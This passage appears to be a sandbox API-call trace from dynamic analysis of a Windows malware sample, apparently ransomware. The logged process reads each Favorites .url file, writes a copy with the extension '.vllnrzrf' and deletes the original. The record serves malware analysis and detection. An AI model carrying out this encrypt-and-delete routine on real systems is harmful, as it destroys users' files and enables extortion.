lpNumberOfBytesRead=0x1c92eeb8*=0x85, lpOverlapped=0x0) returned 1 [0104.818] CloseHandle (hObject=0x438) returned 1 [0104.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.vllnrzrf", lpFilePart=0x0) returned 0x53 [0104.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92edf0) returned 1 [0104.822] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0104.823] GetFileType (hFile=0x438) returned 0x1 [0104.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ed60) returned 1 [0104.823] GetFileType (hFile=0x438) returned 0x1 [0104.823] WriteFile (in: hFile=0x438, lpBuffer=0x23e80c0*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1c92edc8, lpOverlapped=0x0 | out: lpBuffer=0x23e80c0*, lpNumberOfBytesWritten=0x1c92edc8*=0x285, lpOverlapped=0x0) returned 1 [0104.824] CloseHandle (hObject=0x438) returned 1 [0104.828] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", lpFilePart=0x0) returned 0x4a [0104.828] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", nBufferLength=0x105, lpBuffer=0x1c92eab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", lpFilePart=0x0) returned 0x4a [0104.828] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url")) returned 1 [0104.888] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", lpFilePart=0x0) returned 0x42 [0104.888] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", lpFilePart=0x0) returned 0x42 [0104.888] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", lpFilePart=0x0) returned 0x42 [0104.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92edf0) returned 1 [0104.888] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0104.899] GetFileType (hFile=0x438) returned 0x1 [0104.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ed60) returned 1 [0104.899] GetFileType (hFile=0x438) returned 0x1 [0104.899] GetFileSize (in: hFile=0x438, lpFileSizeHigh=0x1c92ef88 | out: lpFileSizeHigh=0x1c92ef88*=0x0) returned 0x85 [0104.899] ReadFile (in: hFile=0x438, lpBuffer=0x23e9c20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c92eeb8, lpOverlapped=0x0 | out: lpBuffer=0x23e9c20*, lpNumberOfBytesRead=0x1c92eeb8*=0x85, lpOverlapped=0x0) returned 1 [0104.900] CloseHandle (hObject=0x438) returned 1 [0104.934] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.vllnrzrf", lpFilePart=0x0) returned 0x4b [0104.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92edf0) returned 1 [0104.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0104.935] GetFileType (hFile=0x438) returned 0x1 [0104.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ed60) returned 1 [0104.935] GetFileType (hFile=0x438) returned 0x1 [0104.935] WriteFile (in: hFile=0x438, lpBuffer=0x23ee680*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1c92edc8, lpOverlapped=0x0 | out: lpBuffer=0x23ee680*, lpNumberOfBytesWritten=0x1c92edc8*=0x285, lpOverlapped=0x0) returned 1 [0104.936] CloseHandle (hObject=0x438) returned 1 [0104.940] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", lpFilePart=0x0) returned 0x42 [0104.941] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", nBufferLength=0x105, lpBuffer=0x1c92eab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", lpFilePart=0x0) returned 0x42 [0104.941] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url")) returned 1 [0104.943] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", lpFilePart=0x0) returned 0x43 [0104.943] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", lpFilePart=0x0) returned 0x43 [0104.943] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", lpFilePart=0x0) returned 0x43 [0104.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92edf0) returned 1 [0104.943] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0104.954] GetFileType (hFile=0x438) returned 0x1 [0104.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ed60) returned 1 [0104.954] GetFileType (hFile=0x438) returned 0x1 [0104.954] GetFileSize (in: hFile=0x438, lpFileSizeHigh=0x1c92ef88 | out: lpFileSizeHigh=0x1c92ef88*=0x0) returned 0x85 [0104.954] ReadFile (in: hFile=0x438, lpBuffer=0x23f01c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c92eeb8, lpOverlapped=0x0 | out: lpBuffer=0x23f01c8*, lpNumberOfBytesRead=0x1c92eeb8*=0x85, lpOverlapped=0x0) returned 1 [0104.956] CloseHandle (hObject=0x438) returned 1 [0104.960] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.vllnrzrf", lpFilePart=0x0) returned 0x4c [0104.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92edf0) returned 1 [0104.960] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0104.961] GetFileType (hFile=0x438) returned 0x1 [0104.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ed60) returned 1 [0104.961] GetFileType (hFile=0x438) returned 0x1 [0104.961] WriteFile (in: hFile=0x438, lpBuffer=0x23f4c30*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1c92edc8, lpOverlapped=0x0 | out: lpBuffer=0x23f4c30*, lpNumberOfBytesWritten=0x1c92edc8*=0x285, lpOverlapped=0x0) returned 1 [0104.962] CloseHandle (hObject=0x438) returned 1 [0104.966] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", lpFilePart=0x0) returned 0x43 [0104.966] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", nBufferLength=0x105, lpBuffer=0x1c92eab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", lpFilePart=0x0) returned 0x43 [0104.966] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url")) returned 1 [0104.969] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", lpFilePart=0x0) returned 0x3c [0104.969] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", lpFilePart=0x0) returned 0x3c [0104.969] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", lpFilePart=0x0) returned 0x3c [0104.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92edf0) returned 1 [0104.970] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0104.970] GetFileType (hFile=0x438) returned 0x1 [0104.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ed60) returned 1 [0104.970] GetFileType (hFile=0x438) returned 0x1 [0104.970] GetFileSize (in: hFile=0x438, lpFileSizeHigh=0x1c92ef88 | out: lpFileSizeHigh=0x1c92ef88*=0x0) returned 0x85 [0104.971] ReadFile (in: hFile=0x438, lpBuffer=0x23f6740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c92eeb8, lpOverlapped=0x0 | out: lpBuffer=0x23f6740*, lpNumberOfBytesRead=0x1c92eeb8*=0x85, lpOverlapped=0x0) returned 1 [0104.972] CloseHandle (hObject=0x438) returned 1 [0104.976] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.vllnrzrf", lpFilePart=0x0) returned 0x45 [0104.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92edf0) returned 1 [0104.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0105.003] GetFileType (hFile=0x438) returned 0x1 [0105.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ed60) returned 1 [0105.003] GetFileType (hFile=0x438) returned 0x1 [0105.003] WriteFile (in: hFile=0x438, lpBuffer=0x23fb190*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1c92edc8, lpOverlapped=0x0 | out: lpBuffer=0x23fb190*, lpNumberOfBytesWritten=0x1c92edc8*=0x285, lpOverlapped=0x0) returned 1 [0105.005] CloseHandle (hObject=0x438) returned 1 [0105.010] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", lpFilePart=0x0) returned 0x3c [0105.010] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", nBufferLength=0x105, lpBuffer=0x1c92eab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", lpFilePart=0x0) returned 0x3c [0105.010] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url")) returned 1 [0105.012] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", lpFilePart=0x0) returned 0x43 [0105.012] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", lpFilePart=0x0) returned 0x43 [0105.012] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", lpFilePart=0x0) returned 0x43 [0105.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92edf0) returned 1 [0105.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0105.688] GetFileType (hFile=0x438) returned 0x1 [0105.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ed60) returned 1 [0105.688] GetFileType (hFile=0x438) returned 0x1 [0105.689] GetFileSize (in: hFile=0x438, lpFileSizeHigh=0x1c92ef88 | out: lpFileSizeHigh=0x1c92ef88*=0x0) returned 0x85 [0105.689] ReadFile (in: hFile=0x438, lpBuffer=0x23fccc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c92eeb8, lpOverlapped=0x0 | out: lpBuffer=0x23fccc8*, lpNumberOfBytesRead=0x1c92eeb8*=0x85, lpOverlapped=0x0) returned 1 [0105.691] CloseHandle (hObject=0x438) returned 1 [0105.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.vllnrzrf", lpFilePart=0x0) returned 0x4c [0105.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92edf0) returned 1 [0105.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0105.695] GetFileType (hFile=0x438) returned 0x1 [0105.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ed60) returned 1 [0105.695] GetFileType (hFile=0x438) returned 0x1 [0105.695] WriteFile (in: hFile=0x438, lpBuffer=0x2401730*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1c92edc8, lpOverlapped=0x0 | out: lpBuffer=0x2401730*, lpNumberOfBytesWritten=0x1c92edc8*=0x285, lpOverlapped=0x0) returned 1 [0105.696] CloseHandle (hObject=0x438) returned 1 [0105.697] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", lpFilePart=0x0) returned 0x43 [0105.697] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", nBufferLength=0x105, lpBuffer=0x1c92eab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", lpFilePart=0x0) returned 0x43 [0105.697] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url")) returned 1 [0105.698] CoUninitialize () Thread: id = 79 os_tid = 0x70c [0105.702] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0105.702] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1cfce7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0105.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfcec20) returned 1 [0105.703] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1cfce710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0105.703] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", nBufferLength=0x105, lpBuffer=0x1cfce6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", lpFilePart=0x0) returned 0x35 [0105.703] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*.*", lpFindFileData=0x1cfce8c0 | out: lpFindFileData=0x1cfce8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0105.704] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce910 | out: lpFindFileData=0x1cfce910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.704] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce910 | out: lpFindFileData=0x1cfce910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0105.704] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce910 | out: lpFindFileData=0x1cfce910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0105.704] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce910 | out: lpFindFileData=0x1cfce910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0105.705] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce910 | out: lpFindFileData=0x1cfce910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0105.705] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce910 | out: lpFindFileData=0x1cfce910*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.705] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0105.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfceb70) returned 1 [0105.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfceb30) returned 1 [0105.707] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", lpFilePart=0x0) returned 0x49 [0105.707] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", lpFilePart=0x0) returned 0x49 [0105.707] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", lpFilePart=0x0) returned 0x49 [0105.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfceb10) returned 1 [0105.707] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js 